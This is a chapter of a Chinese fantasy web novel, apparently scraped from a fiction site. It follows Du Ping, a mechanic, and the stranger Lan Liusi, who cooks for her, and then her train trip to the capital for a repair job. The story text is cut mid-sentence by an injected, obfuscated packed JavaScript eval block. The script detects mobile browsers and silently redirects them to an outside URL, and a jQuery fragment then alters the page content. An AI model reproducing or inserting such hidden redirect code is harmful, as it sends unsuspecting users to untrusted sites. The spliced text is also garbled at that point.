兰琉斯说他做了饭,但杜瓶没想到他是做了这么一大桌丰盛的晚饭。
刚到家的时候,他去隔壁还飞行器,还带回了一箱葡萄。
“哪来的葡萄?”
“莫娜太太给的。”
“你是不是出卖了什么?”杜瓶禁不住问,他拢共跟隔壁的那个什么太太认识不超过一天吧?
一个除了脸蛋一无所有的人,出卖了什么,不言而喻。
“微笑吧。”兰琉斯说出了令死宅杜瓶震惊的一个词,“对邻居微笑,他们就会给你好东西——”
“这是哪来的说法?”
“我老家的俗语。”
他摘下头上的呢帽,将带回来的葡萄放进碗里,拿到水池去清洗。
杜瓶开始吃饭,柠檬鲑鱼做得特别好吃,鱼肉滑嫩,酸酸辣辣,是杜瓶很喜欢的口味,她大口吃着鲑鱼和面包。
兰琉斯将洗好的葡萄放在一个玻璃碗里头,放在了她的右手边。
“你哪儿来的钱买菜?”
“你抽屉里放的零钱。”
“……”
“我没办法用自己的钱。”不知道他为什么这么说,“往后我会照顾你。”
杜瓶顿时噎住,掩住嘴直咳嗽,兰琉斯将一杯水放到了她的手边,杜瓶连忙拿起水杯猛灌了一大口。
“慢点喝。”
“照顾我!?”
她瞪大眼,“我一个成年人要你照顾干嘛?”
“沙发上全是脏衣服,地板都是灰尘,储物柜里什么都没有……”他罕见地话多起来,“还有,你有点面黄肌瘦。”
杜瓶吐槽着:“那是因为我是黄种人。”
“你看起来虚弱得好像要死掉了。”
小嘴抹了蜜!
“你对你自己不怎么好。”
杜瓶忽然哽住了,说不出一句话。
他抬了抬眼珠子,“我照顾你,当作是报答你救了我、收留我。”
“但你迟早会走不是吗?”
杜瓶唇角挂着讽刺,“像其他男人一样,迟早会飞快地走掉——因为我面黄肌瘦、虚弱得要死。”
他定定地注视着神色灰暗的少女。
“我当然会走。”
他的声音冷冷淡淡,“我又不是你的恋人。”
再说一遍,小嘴抹了蜜!
杜瓶闷着脑袋大口大口咀嚼着面包,进到嘴里的芝麻草裹满了甜甜的沙拉酱。
其实做一顿好吃的白人饭并不那么难,但她好像至今也没能做到。
眼前忽然落下一道阴影,杜瓶发觉眼皮上压了柔软的棉布手帕,一上一下,慢慢揩动。
他在帮她擦拭眼睛上花了的绿眼影。
“很好看。”
杜瓶愣了愣,不知道他是在夸奖她的妆还是她的脸。
“以后,好好吃饭。”
她像是做错了事的小孩儿,面对着不苟言笑的母亲,发出了细若蚊鸣的声音:“嗯……”
*
杜瓶第二天醒得很早,大概是因为要去车站赶车,她从枕头下翻出一枚徽章。
深红的长形徽章,金属制作,背后还雕刻着连她都捉摸不透的符文。
兰琉斯的胸甲和衣服都稀碎,只有这枚徽章是完好的。
她没有还给他,他好像也没发现他丢了这个。
杜瓶藏着徽章,因为她老觉得这东西有点眼熟,但又怎么都想不起来到底是哪里眼熟。
她望着徽章和天花板发呆了大概半个小时,拉起的深蓝窗帘像一块画布,缓慢洇染着雪白颜料。
不知不觉间,深蓝变浅蓝,天亮了。
杜瓶起得很快,但不意味着不疲惫。
她以为兰琉斯应该还在睡觉,毕竟现在不过早上六点半。
但当她洗漱后来到楼梯口,发现他竟然早就在忙碌了。
桌上摆着煎蛋和培根,刚煎过的面包表皮微焦,透出一股蛋奶的芳香。
他还真在照顾她!
杜瓶一边吃一边问他:“你现在好像适应了你的左半边。”
“是你组装的手法好。”
“谢谢夸奖。”
杜瓶满足地吃着早餐,很久没吃早餐了,她因为懒得早起做饭,一直保持着不吃早餐的习惯,也算是某种坚持和自律。
但送上门的可没说不吃。
“你怎么知道我要早起?”杜瓶腮帮子鼓鼓的,“我好像没告诉你吧?”
“看的。”
他又说这种莫名其妙的话。
杜瓶眼珠子转了转,“事先说好,我是答应你可以住在这里,但如果你是劫匪,要做什么杀人越货的恶事,我是不会助纣为虐的。”
“我不是劫匪。”
“那你也不是坏人咯?”杜瓶试探着问他。
“不一定。”他取下身上的围裙,坐在了她的身畔。
“我杀过很多人。”
更糟,杀人魔。
杜瓶缩了缩脖子。
“有件事想咨询你,这两天我没有一点饥饿的感觉,只喝了点水。”
他突然提及于此,杜瓶嘴角微微上扬,“你当然不饿了。”
“为什么?”
杜瓶伸出一根手指,指尖在他的胸肌处缓缓划了个圈,男人胸口一颤,仿佛惊讶于她的突然袭击。
“这里,我给你放了一个宝贝。”
杜瓶洋洋得意,“这可是我花了十来年研究出的大宝贝,能量源源不竭,你可能,永远都不需要吃东西了。”
男人的薄唇微微张开,“难以置信,你是天才么?”
杜瓶被这样的称赞弄得反而有点不好意思了。
“不过这是有副作用的,虽然能量源源不竭——你不需要吃饭不需要喝水,但你的心脏变成了冰冷的石头,可能神经也会渐渐冷漠,像机械一样,从此人不像人鬼不像鬼。”
“我不在乎。”
他的回答不带一丝犹疑。
“为什么?”杜瓶一愣。
“我变成了野天鹅,早就不是人了。”
杜瓶有时候听不太懂兰琉斯说话。
“那我要用荨麻给你织衣服吗?”杜瓶眨眨眼,“你啥时候变回原形呀,王子殿下?”
“王子是自作自受。”
兰琉斯眸光闪烁,“他身下堆叠着数不清的尸骸和亡魂,为了耀武扬威,他提着王后血淋淋的头颅,装饰进自己华美的衣冠冢。”
“少看点童话故事吧。”
“那件荨麻衣服,你织不好的。”
杜瓶好奇他的脑壳里到底装了多少奇思妙想。
她低下头专心干饭,“我也不会织衣服。”
*
杜瓶在早
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290370|182661||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晨十点抵达圣都。
安戈市离圣都两个小时的火车车程,古典式的蒸汽火车在铁轨上呜呜前进。
魔法弧道适合近距离通行,火车则结合了蒸汽与符文,有着较好的耐久性,更合适长途跋涉。
在车上的时候,杜瓶困得倒在座椅上呼呼大睡。
换作往常,作为火车迷的她会一节一节车厢地巡视,甚至还会逮着机会溜进锅炉房,偷看司炉工加煤,在一片惊哗声中,被乘务员“客气”地请回座位。
但今天她特别规矩,喝了一杯橘子汁,便睡了两个小时。
抵达终点站圣都,还是乘务员把她摇醒的。
少女戴着一双白色手套,提一只大皮箱,披上麂皮薄外套,头顶是咖色的贝雷帽,打着哈欠慢慢悠悠地下了火车。
十点半到达机械社本部,这不是她头回来本部出差,一切进行得还算顺利。
她来到了本部的会议室,上回与她搭档过的机械师列娜见到她打着招呼:“杜,又是你过来?”
“是啊。”
“你还真是乔夫利的得力干将呀。”她眨眨眼,露出怜悯的微笑。
杜瓶耸肩,不置可否。
“不过,你这次的搭档可有点难搞。”
“谁?”
“一个研究员,来自帝国理工大学符文科学研究所,叫查尔斯,是个傲慢无礼的家伙——”
杜瓶摊手,“不意外,符文科学家致力于研究符文,当然看不起我们这群符文的搬运工,我好奇的是,这次的修理是有多艰巨,还需要研究员出马?”
“嗯,准确来说,是有点艰巨,先不论艰不艰巨,前几天出了桩意外,具体是什么我也不大清楚,反正圣都损坏了至少两成的发射器。”
列娜叹了口气,“就因为那两成的发射器损坏,引发了一场史无前例的飞行器堵塞事件,整整两个小时,当时有不少有名有望的人物被堵在弧道中,现在纷纷在各大报纸上发言批判市政。”
“不是听说交通部已经紧急抢修好了吗?”
“发射器是抢修好了,但还有不少小毛病需要检修,这事儿交通部就外包给了机械社干。”
杜瓶抽抽嘴角,“搞不定的硬骨头就丢给了我们。”
“有信心吗?圣都的发射器有至少五十年的历史,都很老旧了,当时也不是机械社设计的,我估计要检修是有一定难度的。”
“没信心。”杜瓶将皮箱放在了会议室的长桌上,“但这是工作,我总不能不干。”
“乔夫利虽然压榨,但他让你过来是有原因的,除了你谁干得了这个活儿?”
列娜笑笑,她从兜里掏出一盒香烟,“介意吗?”
“你抽吧。”
列娜揉了揉棕栗色的卷发,随手打开窗户,从烟盒中叼出一根烟,夹在鲜艳的红唇之间。
“我之前不是说过,我可以跟人事提议把你调到本部干活吗?一直被领导当成垫脚石,转不了正,不烦吗?”
“我不喜欢圣都。”
“为什么?这里蓬勃繁华,是所有人向往的不眠之城。”
“我……没什么。”杜瓶摇摇头,她看着列娜在窗前吞云吐雾,窗外灰色的天空上挤满偌大的飞艇与各式各样的飞行器。
杜瓶没有主动来过圣都。
她第一次来这里时,带走了母亲的骨灰。